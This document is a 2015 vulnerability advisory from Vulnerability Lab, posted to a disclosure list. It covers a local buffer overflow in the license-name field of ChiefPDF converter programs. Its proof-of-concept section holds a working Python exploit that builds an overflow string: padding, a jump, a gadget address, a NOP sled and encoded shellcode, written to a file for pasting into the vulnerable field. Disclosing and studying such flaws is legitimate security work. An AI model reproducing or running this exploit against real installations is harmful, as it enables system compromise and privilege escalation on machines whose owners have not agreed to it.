[FD] ChiefPDF Software v2.x - Buffer Overflow Vulnerability

Document Title: =============== ChiefPDF Software v2.x - Buffer Overflow Vulnerability References (Source): ==================== http://ift.tt/1gYp7j8 Release Date: ============= 2015-08-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1578 Common Vulnerability Scoring System: ==================================== 7.3 Product & Service Introduction: =============================== High Volume Batch OCR Conversion. High Performance TIFF to PDF OCR.‎ High-Volume Tiff To PDF Conversions. Find Out How Easy it Can Be!‎ Convert scanned documents & images. Searchable PDF. (Copy of the Vendor Homepage: http://www.chiefpdf.com & http://ift.tt/1NnrI3V) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official ChiefPDF Software Clients v2.0. Vulnerability Disclosure Timeline: ================================== 2015-08-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ChiefPDF Software Product: PDF to Image Converter PDF to Image Converter Free, PDF to Tiff Converter & PDF 2.0 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local buffer overflow vulnerability has been discovered in the official ChiefPDF Software Clients v2.0. The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or to gain higher access privileges for further exploitation. The buffer overflow vulnerability is located in the `Registration - License Name` input field of the software client. The issue is a classic unicode buffer overflow vulnerability that allows an attacker to compromise the local system. The vulnerability can be exploited in all software clients like the PDF to Image Converter 2.0, PDF to Image Converter Free 2.0, PDF to Tiff Converter 2.0 and PDF to Tiff Converter Free 2.0. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.3. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Vulnerable Module(s): [+] Registration - License Name Vulnerable Program(s): [+] PDF to Image Converter 2.0 [+] PDF to Image Converter Free 2.0 [+] PDF to Tiff Converter 2.0 [+] PDF to Tiff Converter Free 2.0 Proof of Concept (PoC): ======================= The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction. For security demonstration or to reproduce follow the provided information and steps below to continue. PoC: ChiefPDF.py #!/usr/bin/python #Exploit Title:ChiefPDF Software Buffer Overflow #vulnerable programs: #PDF to Image Converter 2.0 #PDF to Image Converter Free 2.0 #PDF to Tiff Converter 2.0 #PDF to Tiff Converter Free 2.0 #Software Link:http://ift.tt/1NnrI3V #Author: metacom - twitter.com/m3tac0m #Tested on: Win-Xp-sp3, Win-7, Win-8.1 #How to use: Copy the AAAA...+ string from regkey.txt and paste -> Registration - License Name: (input) buffer="A" * 544 buffer+="\xeb\x06\x90\x90" buffer+="\x8B\x89\x03\x10"# 1003898B 5E POP ESI buffer+="\x90" * 80 buffer+=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1" "\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e" "\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6" "\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19" "\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c" "\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7" "\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9" "\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67" "\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4" "\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5" "\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66" "\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37" "\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20" "\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4" "\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c" "\xea\x47") file = open('regkey.txt','wb') file.write(buffer); file.close() Security Risk: ============== The security risk of the local buffer overflow vulnerability in the chiefpdf software clients is estimated as high. (CVSS 7.3) Credits & Authors: ================== metacom - [http://ift.tt/1ROW2Et] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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